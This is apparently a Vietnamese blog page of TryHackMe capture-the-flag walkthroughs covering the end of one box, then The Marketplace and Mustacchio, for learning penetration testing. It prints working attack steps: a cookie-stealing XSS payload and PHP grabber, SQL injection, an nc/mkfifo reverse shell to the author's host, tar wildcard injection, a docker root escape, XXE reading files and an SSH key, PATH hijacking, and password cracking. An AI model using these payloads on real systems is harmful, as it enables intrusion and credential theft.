1g 0:00:00:00 DONE (2022-08-28 07:19) 5.000g/s 4640p/s 4640c/s 4640C/s butterfly1..xbox360
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Thử import lại với passphrase vừa tìm được và decypt file backup

┌──(neokali)-[~]
└─$ gpg --import private.asc       
gpg: key B92CD1F280AD82C2: "anonforce <melodias@anonforce.nsa>" not changed
gpg: key B92CD1F280AD82C2: secret key imported
gpg: key B92CD1F280AD82C2: "anonforce <melodias@anonforce.nsa>" not changed
gpg: Total number processed: 2
gpg:              unchanged: 2
gpg:       secret keys read: 1
gpg:   secret keys imported: 1
                    
┌──(neokali)-[~]
└─$ gpg --decrypt backup.pgp 
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 512-bit ELG key, ID AA6268D1E6612967, created 2019-08-12
      "anonforce <melodias@anonforce.nsa>"
root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.********************************:18120:0:99999:7:::
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
sys:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
proxy:*:17953:0:99999:7:::
www-data:*:17953:0:99999:7:::
backup:*:17953:0:99999:7:::
list:*:17953:0:99999:7:::
irc:*:17953:0:99999:7:::
gnats:*:17953:0:99999:7:::
nobody:*:17953:0:99999:7:::
systemd-timesync:*:17953:0:99999:7:::
systemd-network:*:17953:0:99999:7:::
systemd-resolve:*:17953:0:99999:7:::
systemd-bus-proxy:*:17953:0:99999:7:::
syslog:*:17953:0:99999:7:::
_apt:*:17953:0:99999:7:::
messagebus:*:18120:0:99999:7:::
uuidd:*:18120:0:99999:7:::
melodias:$1$xDhc6S6G$IQHUW5Z***************:18120:0:99999:7:::
sshd:*:18120:0:99999:7:::
ftp:*:18120:0:99999:7:::  

Vậy là tôi có hash password của user melodiasroot. Sao chép nội dung file backup.pgp và dán nó vào 1 file mới, tôi đặt tên là shadow Thử decrypt nó với john

┌──(neokali)-[~]
└─$ john shadow --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt 
Warning: only loading hashes of type "sha512crypt", but also saw type "md5crypt"
Use the "--format=md5crypt" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
******           (root)     
1g 0:00:00:03 DONE (2022-08-28 07:31) 0.2590g/s 1790p/s 1790c/s 1790C/s vampiro..arenita
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Vậy là tôi có passowrd của user root. Thử login với SSH

┌──(neokali)-[~]
└─$ ssh root@10.10.219.60           
The authenticity of host '10.10.219.60 (10.10.219.60)' can't be established.
ED25519 key fingerprint is SHA256:+bhLW3R5qYI2SvPQsCWR9ewCoewWWvFfTVFQUAGr+ew.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.219.60' (ED25519) to the list of known hosts.
root@10.10.219.60's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-157-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~# ls
root.txt
root@ubuntu:~# 

Hoàn thành!

Tryhackme - The Marketplace

  1. Reconnaissance
  2. SSH
  3. Privilege escalation

intro

Xin chào, Lẩu đây, The holidays are too long, so I can only return to CTF now. And today I will open the New Year bowl with a machine medium - Tryhackme - The Marketplace

Reconnaissance

Vẫn như thông thường, việc đầu tiên cần làm là quét các cổng đang mở trên machine này.

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c8:3c:c5:62:65:eb:7f:5d:92:24:e9:3b:11:b5:23:b9 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLj5F//uf40JILlSfWp95GsOiuwSGSKLgbFmUQOACKAdzVcGOteVr3lFn7vBsp6xWM5iss8APYi9WqKpPQxQLr2jNBybW6qrNfpUMVH2lLcUHkiHkFBpEoTP9m/6P9bUDCe39aEhllZOCUgEtmLpdKl7OA3tVjhthrNHNPW+LVfkwlBgxGqnRWxlY6XtlsYEKfS1B+wODrcVwUxOHthDps/JMDUvkQUfgf/jpy99+twbOI1OZbCYGJFtV6dZoRqsp1Y4BpM3VjSrrvV0IzYThRdssrSUgOnYrVOZl8MrjMFAxOaFbTF2bYGAS/T68/JxVxktbpGN/1iOrq3LRhxbF1
|   256 06:b7:99:94:0b:09:14:39:e1:7f:bf:c7:5f:99:d3:9f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHyTgq5FoUG3grC5KNPAuPWDfDbnaq1XPRc8j5/VkmZVpcGuZaAjJibb9RVHDlbiAfVxO2KYoOUHrpIRzKhjHEE=
|   256 0a:75:be:a2:60:c6:2b:8a:df:4f:45:71:61:ab:60:b7 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA2ol/CJc6HIWgvu6KQ7lZ6WWgNsTk29bPKgkhCvG2Ar
80/tcp    open  http    syn-ack nginx 1.19.2
|_http-title: The Marketplace
| http-robots.txt: 1 disallowed entry 
|_/admin
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.19.2
32768/tcp open  http    syn-ack Node.js (Express middleware)
| http-robots.txt: 1 disallowed entry 
|_/admin
|_http-title: The Marketplace
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Sau 1 lúc xem qua 2 port với http web server, tôi tạm thời chưa tìm được gì đặc biệt, vậy nên tôi sẽ tìm web path với dirsearch

Sau khi quét web path với cả 2 port kết hợp với phần thu thập thông tin ở trên, tôi có 1 vài ghi chú:

  • /login là trang đăng nhập
  • /signup đùng để đăng ký tài khoản mới, và không kiểm tra trùng tên user
  • /new tạo listing mới
  • /item/1 các bài viết được đánh số 1,2,3,4,…. Khi chọn item nào path sẽ trỏ về số thứ tự của item đó
  • /message xem tin nhắn của user. Sau khi thực hiện report thì admin sẽ trả lời và tôi có thể xem trả lời của admin ở trong này
  • /contact xem các liên hệ. /contact/michael nghĩa là xem liên hệ của michael
  • /report/1 báo cáo các bài viết theo số thứ tự item phía trên
  • /admin chắc là path của quản trị viên

Vậy nên tôi thử dùng BurpSuite để xem khai có thác được gì từ các path phía trên không. Với phần /report, request cho tôi 1 cookie

cookie

Với cookie, tôi thử vào JWT để decode

decode-cookie

Tôi đã thử vài các để giả mạo cookie nhưng không có kết quả. Tạm thời note nó lại, tôi sẽ chuyển qua cách khác. Trong /new, với những phần có thể nhập vào từ bàn phím như thế này, tôi thử vài xss đơn giản

new-post

xss-payload

Vậy là tôi có lỗ hổng XSS ở đây. Tôi sẽ thử lấy cookie của admin bằng cách tạo 1 listing chứa XXS payload và báo cáo nó với quản trị viên.

Đọc thêm: Data grabber for XSS

Đầu tiên tạo file grapper.php

<?php
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>

Tạo XSS payload

<script>document.location='http://IP-remote:port-remote/grabber.php?c='+document.cookie</script>

payload

Trước khi ấn “Summit Query” thì tạo listener với port 9001

┌──(neokali)-[~]
└─$ nc -lnvp 9001                      
listening on [any] 9001 ...
connect to [10.18.3.74] from (UNKNOWN) [10.18.3.74] 57770
GET /grabber.php?c=token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjQsInVzZXJuYW1lIjoiYWRtaW4iLCJhZG1pbiI6ZmFsc2UsImlhdCI6MTY2MTY3MTUyNX0.8txB8EpTpBDTcHhL-_LzZe4n7zC3exATeCBm_m49tyw HTTP/1.1
Host: 10.18.3.74:9001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://10.10.31.207/
Upgrade-Insecure-Requests: 1

Sau đó report listing này với quản trị viên để họ trả lời và tôi sẽ có được cookie của họ

Tiếp theo tôi vào path /admin để thay đổi cookie với BurpSuite

admin-cookie

Vậy là tôi có flag 1.

Tiếp theo, tôi để ý với response này, tôi có ID của từng user, vậy nên tôi đã nghĩ rằng sao không thử vài SQLi với path /admin và in ra tên của database

user

Sau 1 lúc tìm hiểu về SQLi tôi nhận ra khi query đến database, ID nào đã tồn tại thì nó sẽ in ra thông tin về ID đó và thế là hết. Vậy để database query được câu lệnh SQLi phía sau, tôi phải thêm vào 1 ID chưa có trong db, ở đây tôi đã có ID 1,2,3,4, vậy thì ID chưa được gán thông tin sẽ là 5

Đọc thêm: SQLi

db-query

Vậy là tôi có db đang sử dụng là ‘marketplace’. Tiếp tục show các tables có trong db này

tables

Tôi có 3 tables ở đây: items, messages và users. Query đến table user để lấy thông tin về các users

users

user-pass

Vậy là tôi có 3 username và password, lưu nó lại. Tiếp theo tôi còn 1 table nữa chưa xem thử đó là ‘message’

message

Vậy là tôi có password của 1 user. Thử ssh với 2 user đã biết là jakemichael

SSH

┌──(neokali)-[~]
└─$ ssh jake@10.10.37.209           
The authenticity of host '10.10.37.209 (10.10.37.209)' can't be established.
ED25519 key fingerprint is SHA256:Rl4+lAmQWEhSKHNbPY/BoNdG16/4xcmIXNIlSrBasm0.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.37.209' (ED25519) to the list of known hosts.
jake@10.10.37.209's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Aug 28 09:32:13 UTC 2022

  System load:  0.0                Users logged in:                0
  Usage of /:   87.1% of 14.70GB   IP address for eth0:            10.10.37.209
  Memory usage: 31%                IP address for docker0:         172.17.0.1
  Swap usage:   0%                 IP address for br-636b40a4e2d6: 172.18.0.1
  Processes:    102

  => / is using 87.1% of 14.70GB


20 packages can be updated.
0 updates are security updates.

jake@the-marketplace:~$ ls
user.txt
jake@the-marketplace:~$ 

Privilege escalation

sudo -l

jake@the-marketplace:~$ sudo -l
Matching Defaults entries for jake on the-marketplace:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jake may run the following commands on the-marketplace:
    (michael) NOPASSWD: /opt/backups/backup.sh
jake@the-marketplace:~$ cat /opt/backups/backup.sh 
#!/bin/bash
echo "Backing up files...";
tar cf /opt/backups/backup.tar *

Điều này có nghĩa là tôi có thể thêm payload vào file backup.sh để khi chạy file này, payload sẽ gọi đến user michael. Thêm 1 điều nữa, khi chạy file backup.sh, nó sẽ sinh ra 1 file tar. Tôi có nhớ có 1 exploit với tar, nó ở đây

Đầu tiên vẫn phải tạo file shell mới chứa payload, sau đó sẽ dùng exploit với tar. Sau đó tạo listener với port 9001: nc -lnvp 9001

Và nó sẽ giống như thế này

jake@the-marketplace:/opt/backups$ echo '#!/bin/bash' > shell.sh
jake@the-marketplace:/opt/backups$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.18.3.74 9001 >/tmp/f' > shell.sh
jake@the-marketplace:/opt/backups$ chmod +x shell.sh
jake@the-marketplace:/opt/backups$ touch '/opt/backups/--checkpoint=1'
jake@the-marketplace:/opt/backups$ touch '/opt/backups/--checkpoint-action=exec=sh shell.sh'
jake@the-marketplace:/opt/backups$ sudo -u michael /opt/backups/backup.sh
Backing up files...
rm: cannot remove '/tmp/f': No such file or directory

Sang phía listener

┌──(neokali)-[~]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.18.3.74] from (UNKNOWN) [10.10.171.7] 40864
michael@the-marketplace:/opt/backups$ 
michael@the-marketplace:/opt/backups$ cd
michael@the-marketplace:~$ cd /home/michael/
michael@the-marketplace:/home/michael$ id
uid=1002(michael) gid=1002(michael) groups=1002(michael),999(docker)

User michael có trong group docker. Tôi sẽ thử vào GTFOBins xem cách leo thang đặc quyền với docker. Với group docker tôi sẽ sử dụng SUID

michael@the-marketplace:~$ /usr/bin/docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# ls /root/
root.txt
# 

Hoàn thành!

Tryhackme - Mustacchio

  1. Reconnaissance
  2. SSH
  3. Privilege escalation

intro

Xin chào, Lẩu đây. Hôm nay tôi quyết định làm thêm 1 machine dễ nữa: Tryhackme - Mustacchio

Reconnaissance

Việc đầu tiên, tất nhiên rồi, quét các cổng đang mở trên máy chủ mục tiêu

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2WTNk2XxeSH8TaknfbKriHmaAOjRnNrbq1/zkFU46DlQRZmmrUP0uXzX6o6mfrAoB5BgoFmQQMackU8IWRHxF9YABxn0vKGhCkTLquVvGtRNJjR8u3BUdJ/wW/HFBIQKfYcM+9agllshikS1j2wn28SeovZJ807kc49MVmCx3m1OyL3sJhouWCy8IKYL38LzOyRd8GEEuj6QiC+y3WCX2Zu7lKxC2AQ7lgHPBtxpAgKY+txdCCEN1bfemgZqQvWBhAQ1qRyZ1H+jr0bs3eCjTuybZTsa8aAJHV9JAWWEYFegsdFPL7n4FRMNz5Qg0BVK2HGIDre343MutQXalAx5P
|   256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCEPDv6sOBVGEIgy/qtZRm+nk+qjGEiWPaK/TF3QBS4iLniYOJpvIGWagvcnvUvODJ0ToNWNb+rfx6FnpNPyOA0=
|   256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGldKE9PtIBaggRavyOW10GTbDFCLUZrB14DN4/2VgyL
80/tcp   open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-title: Mustacchio | Home
8765/tcp open  http    syn-ack nginx 1.10.3 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-title: Mustacchio | Login
|_http-server-header: nginx/1.10.3 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Với port 80 tôi có 1 web html và port 8765 là 1 trang đăng nhập. Thử khai thác web với port 80 trước.

Dùng dirsearch để tìm web path

[04:54:45] 200 -    3KB - /about.html                                       
[04:55:25] 200 -    1KB - /contact.html                                     
[04:55:27] 200 -    1KB - /custom/                                          
[04:55:38] 301 -  312B  - /fonts  ->  http://10.10.28.153/fonts/            
[04:55:40] 200 -    2KB - /gallery.html                                     
[04:55:44] 200 -    6KB - /images/                                          
[04:55:44] 301 -  313B  - /images  ->  http://10.10.28.153/images/
[04:55:46] 200 -    2KB - /index.html                                       
[04:56:21] 200 -   28B  - /robots.txt                                       
[04:56:24] 403 -  277B  - /server-status/                                   
[04:56:24] 403 -  277B  - /server-status     

Vào thư mục /custom/ tôi có 2 file là moblie.jsusers.bak. Tôi tạm thời chưa quan tâm đến file js và tải file bak về trước.

┌──(neokali)-[~]
└─$ cat users.bak 
��0]admin1868e36a6d2b17d4c2745f1659433a54d4******     

Sau admin có thể là password, nhìn sơ qua đoạn mã này giống md5. Decode nó và tôi có password của admin. Thử login vào port 8765

login-port-8765

Sử dụng BurpSuite để phân tích request xem có gì thú vị không

burp

Source web có 1 đoạn script ở đây và 1 dòng ẩn:

<!-- Barry, you can now SSH in using your key!-->

Với đoạn script, tôi có thêm 1 path mới: /auth/dontfoget.bak. Dùng web tải file này về

┌──(neokali)-[~]
└─$ cat dontforget.bak 
<?xml version="1.0" encoding="UTF-8"?>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>his paragraph was a waste of time and space. If you had not read this and I had not typed this you and I couldve done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You couldve been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds.</com>
</comment>                                                                                                                                                                                             
┌──(neokali)-[~]
└─$ 

Có vẻ như đây chính là form của comment ở web. Thử sao chép đoạn này vào comment và server trả về đúng như form

form-comment

Sau 1 lúc tìm kiếm cách khai thác lỗi sử dụng XXE, tôi tìm được payload ở đây. Sửa đoạn xml mẫu 1 chút, tôi sẽ lấy file từ server và thay comment là 1 câu lệnh để server đọc và in nội dung file ra cho tôi.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>&read;</com>
</comment>

comment

Có vẻ là hơi khó đọc, tôi sẽ quay lại Burp

cat /etc/passwd

Để thực thi được lệnh, tôi phải chuyển nó về dạng url. Sau 1 lúc bế tắc thì tôi nhận ra còn 1 hint nữa mà tôi chưa dùng đến, là ssh key của Barry. Thông thường ssh key sẽ nằm trong thư mục .ssh trong thư mục user, vậy thì đường dẫn file có thể sẽ giống như thế này:

/home/barry/.ssh/id_rsa

Thay path này vào /etc/passwd và encode nó thành url

id_rsa

SSH

Sao chép ssh key về và login ssh với key này. Tuy nhiên khi login tôi cần passphrase. Sử dụng john để brute-force passphrase

┌──(neokali)-[~]
└─$ ssh2john id_rsa > hash                                                                   
             
┌──(neokali)-[~]
└─$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt hash  
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads

Login vào SSH với port 22

┌──(neokali)-[~]
└─$ ssh -i id_rsa barry@10.10.82.130
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

34 packages can be updated.
16 of these updates are security updates.
To see these additional updates run: apt list --upgradable

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

barry@mustacchio:~$ id
uid=1003(barry) gid=1003(barry) groups=1003(barry)
barry@mustacchio:~$ ls
user.txt
barry@mustacchio:~$ 

Privilege escalation

Tôi thử tìm SUID

find / -type f -perm -u=s 2>/dev/null

barry@mustacchio:~$ find / -type f -perm -u=s 2>/dev/null
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/at
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/newuidmap
/usr/bin/gpasswd
/home/joe/live_log
/bin/ping
/bin/ping6
/bin/umount
/bin/mount
/bin/fusermount
/bin/su

Tôi để ý có 1 file đặc biệt là /home/joe/live_log, khi xem qua nó thì đây là 1 file binary. Dùng strings để phân tích nội dung

barry@mustacchio:/home/joe$ strings live_log 
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
printf
system
__cxa_finalize
setgid
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Live Nginx Log Reader
tail -f /var/log/nginx/access.log
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8060
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
demo.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
_edata
system@@GLIBC_2.2.5
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
setgid@@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
setuid@@GLIBC_2.2.5
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

Khi chạy file này, nó sẽ gọi đến file access.log và in log ra theo thời gian thực, và vì file binary này chạy với quyền root nên tôi có thể leo thang đặc quyền với file này mà không cần sudo.

Tôi sẽ sử dụng kỹ thuật giống như đã trình bày ở CTF Tryhackme - Wonderland, đến thư mục /tmp vì nó có toàn quyền ghi và thực thi file. Sau đó tạo 1 file tail chứa lệnh thực thi, set quyền thực thi cho nó, thêm path /tmp vào đầu biến PATH để khi chạy file live_log trong đây, nó sẽ gọi ngay đến tail vừa tạo.

Nó sẽ như thế này

barry@mustacchio:/tmp$ echo "/bin/bash" > tail
barry@mustacchio:/tmp$ chmod 777 tail
barry@mustacchio:/tmp$ export PATH=/tmp:$PATH
barry@mustacchio:/tmp$ /home/joe/live_log 
root@mustacchio:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1003(barry)
root@mustacchio:/tmp# ls /root
root.txt
root@mustacchio:/tmp# 

Hoàn thành!

Pagination


© 2025. All rights reserved.